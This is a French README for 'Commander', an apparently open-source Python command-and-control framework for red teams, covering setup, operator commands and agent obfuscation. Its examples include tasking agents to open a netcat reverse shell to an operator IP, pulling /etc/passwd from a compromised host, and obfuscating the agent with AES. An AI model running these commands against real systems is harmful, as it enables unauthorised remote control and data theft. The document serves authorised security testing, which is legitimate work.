
Cadre de commande et de contrôle basé sur Python avec communication TLS chiffrée, support multi-agent (Python/C), sessions interactives, transfert de fichiers et obfuscation AES pour les opérations de red team.
Commander est un framework de commande et de contrôle (C2) écrit en Python, Flask et SQLite. Il est livré avec deux agents écrits en Python et en C.
En développement continu
Pas adapté aux script-kiddies
Python >= 3.6 est requis pour exécuter le programme, ainsi que les dépendances suivantes
Linux pour admin.py et c2_server.py (non testé sous Windows).
apt install libcurl4-openssl-dev libb64-dev
apt install openssl
pip3 install -r requirements.txt

Créez d'abord les certificats et clés requis
# si vous voulez sécuriser votre clé avec une phrase de passe, excluez -nodes
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes
Lancez d'abord le module admin.py pour créer un fichier de base de données SQLite local
python3 admin.py
Continuez en exécutant le serveur
python3 c2_server.py
Et enfin l'agent. Pour l'agent Python, vous pouvez simplement l'exécuter, mais pour l'agent C, vous devez d'abord le compiler.
# agent Python
python3 agent.py
# agent C
gcc agent.c -o agent -lcurl -lb64
./agent
Par défaut, les agents et le serveur communiquent via TLS et base64. Le point de communication est défini sur 127.0.0.1:5000 et si un point différent est nécessaire, il doit être modifié dans les fichiers source des agents.
En tant qu'opérateur/administrateur, vous pouvez utiliser les commandes suivantes pour contrôler vos agents
Commandes :
task add arg c2-commands
Ajoute une tâche à un agent, à un groupe ou à tous les agents.
arg : peut avoir les valeurs suivantes : 'all' 'type=Linux|Windows' 'your_uuid'
c2-commands : les valeurs possibles sont c2-register c2-shell c2-sleep c2-quit
c2-register : Demande à l'agent de s'enregistrer à nouveau.
c2-shell cmd : Prend une commande shell à exécuter par l'agent. Ex. : c2-shell whoami
cmd : La commande à exécuter.
c2-sleep : Configure l'intervalle auquel un agent vérifie les tâches.
c2-session port : Demande à l'agent d'ouvrir une session shell avec le serveur sur ce port.
port : Le port de connexion. S'il n'est pas fourni, la valeur par défaut est 5555.
c2-quit : Force un agent à quitter.
task delete arg
Supprime une tâche d'un agent ou de tous les agents.
arg : peut avoir les valeurs suivantes : 'all' 'type=Linux|Windows' 'your_uuid'
show agent arg
Affiche les informations pour tous les agents disponibles ou pour un agent spécifique.
arg : peut avoir les valeurs suivantes : 'all' 'type=Linux|Windows' 'your_uuid'
show task arg
Affiche la tâche d'un agent ou de tous les agents.
arg : peut avoir les valeurs suivantes : 'all' 'type=Linux|Windows' 'your_uuid'
show result arg
Affiche l'historique/résultat d'un agent ou de tous les agents.
arg : peut avoir les valeurs suivantes : 'all' 'type=Linux|Windows' 'your_uuid'
find active agents
Supprime la base de données afin que les agents actifs soient enregistrés à nouveau.
exit
Au revoir !
Sessions :
sessions server arg [port]
Contrôle un gestionnaire de sessions.
arg : peut avoir les valeurs suivantes : 'start', 'stop', 'status'
port : port optionnel pour l'argument start ; s'il n'est pas fourni, la valeur par défaut est 5555. Cet argument définit le port du serveur de sessions.
sessions select arg
Sélectionne la session à laquelle se rattacher.
arg : l'index du résultat de 'sessions list'
sessions close arg
Ferme une session.
arg : l'index du résultat de 'sessions list'
sessions list
Affiche les sessions disponibles.
local-ls directory
Liste sur votre hôte les fichiers du répertoire sélectionné.
download 'file'
Télécharge le 'fichier' localement dans le répertoire courant.
upload 'file'
Téléverse un fichier dans le répertoire où se trouve actuellement l'agent.
Une attention particulière doit être portée à la commande 'find active agents'. Cette commande supprime toutes les tables et les recrée. Cela peut sembler effrayant mais ce ne l'est pas, du moins c'est ce que je crois :P
L'idée derrière cette fonctionnalité est que le serveur C2 peut demander à un agent de se ré-enregistrer au cas où il ne le reconnaît pas. Donc, comme nous voulons vider la base de données des anciennes entrées inutilisées et en même temps trouver tous les hôtes actuellement actifs, nous pouvons supprimer les tables et déclencher le mécanisme de ré-enregistrement du serveur C2. Voir ci-dessous pour le mécanisme de ré-enregistrement.
Vous trouverez ci-dessous un diagramme de flux normal.

Dans le cas où l'environnement subit une défaillance majeure comme une base de données corrompue ou une autre défaillance critique, le mécanisme de ré-enregistrement est activé afin de ne pas perdre la connexion avec nos agents.
Plus précisément, si nous perdons la base de données, nous n'aurons aucune information sur les UUID que nous recevons, donc nous ne pouvons pas leur attribuer de tâches, etc. Les agents continueront donc à essayer de récupérer leurs tâches et, comme nous ne les reconnaissons pas, nous leur demanderons de se ré-enregistrer afin de pouvoir les insérer dans notre base de données et les contrôler à nouveau.
Voici le diagramme de flux pour ce cas.

Pour configurer votre environnement, démarrez d'abord admin.py, puis c2_server.py et exécutez l'agent. Ensuite, vous pouvez vérifier les agents disponibles.
# afficher tous les agents disponibles
show agent all
Pour demander à tous les agents d'exécuter la commande "id", vous pouvez faire comme ceci :
# pour tous les agents
task add all c2-shell id
# vérifier les résultats de "id"
show result all
Pour vérifier l'historique/résultats précédents des tâches exécutées pour un agent spécifique, faites comme ceci :
# vérifier les résultats d'un agent spécifique
show result 85913eb1245d40eb96cf53eaf0b1e241
Vous pouvez également modifier l'intervalle de vérification des tâches des agents à 30 secondes comme ceci :
# pour le définir pour tous les agents
task add all c2-sleep 30
Pour ouvrir une session avec un ou plusieurs de vos agents, procédez comme suit.
# trouver l'agent/uuid
show agent all
# activer le serveur pour accepter les connexions
sessions server start 5555
# ajouter une tâche pour une session à votre agent préféré
task add votre_uuid_agent_preféré_ici c2-session 5555
# afficher une liste des connexions disponibles
sessions list
# sélectionner pour se rattacher à l'une des sessions, par exemple la session 0
sessions select 0
# exécuter une commande
id
# télécharger le fichier passwd localement
download /etc/passwd
# lister vos fichiers localement pour vérifier que passwd a été créé
local-ls
# téléverser un fichier (test.txt) dans le répertoire où se trouve l'agent
upload test.txt
# revenir à l'interface en ligne de commande principale
go back
# vérifier si le serveur est en cours d'exécution
sessions server status
# arrêter le serveur de sessions
sessions server stop
Si, pour une raison quelconque, vous souhaitez exécuter une autre session externe, comme avec netcat ou Metasploit, faites comme suit.
# afficher tous les agents disponibles
show agent all
# d'abord, ouvrir un netcat sur votre machine
nc -vnlp 4444
# ajouter une tâche pour ouvrir un shell inversé pour un agent spécifique
task add 85913eb1245d40eb96cf53eaf0b1e241 c2-shell nc -e /bin/sh 192.168.1.3 4444
De cette façon, vous aurez un shell 'incassable' qui, même si vous êtes déconnecté, se rétablira immédiatement. Seules les commandes interactives le feront mourir définitivement.
L'agent Python offre une obfuscation utilisant un chiffrement AES ECB de base et un encodage Base64
Modifiez le fichier obfuscator.py et changez la valeur de 'key' par une clé de 16 caractères afin de créer un payload personnalisé. La sortie du nouvel agent se trouve dans Agents/obs_agent.py
Vous pouvez l'exécuter comme ceci :
python3 obfuscator.py
# et pour exécuter l'agent, faites comme d'habitude
python3 obs_agent.py
gunicorn -w 4 "c2_server:create_app()" --access-logfile=- -b 0.0.0.0:5000 --certfile server.crt --keyfile server.key
pip install pyinstaller
pyinstaller --onefile agent.py
Le binaire se trouve dans le répertoire dist.
En cas d'échec, vous devrez peut-être mettre à jour vos bibliothèques Python et pip. Si cela continue d'échouer... eh bien... la vie est ainsi.
Créez de nouveaux certificats pour chaque engagement.
Sauvegardez votre c2.db, c'est facile... juste un fichier.
pytest a été utilisé pour les tests. Vous pouvez exécuter les tests comme ceci :
cd tests/
py.test
Attention : Vous devez exécuter les tests dans le répertoire tests, sinon votre c2.db sera écrasée et vous perdrez vos données.
Pour vérifier la couverture de code et produire un joli rapport HTML, vous pouvez utiliser ceci :
# pip3 install pytest-cov
python -m pytest --cov=Commander --cov-report html
Avertissement : Cet outil est uniquement destiné à être un outil de démonstration de preuve de concept pour des tests de sécurité autorisés. L'utilisation de cet outil contre des hôtes pour lesquels vous n'avez pas l'autorisation explicite de tester est illégale. Vous êtes responsable de tout problème que vous pourriez causer en utilisant cet outil.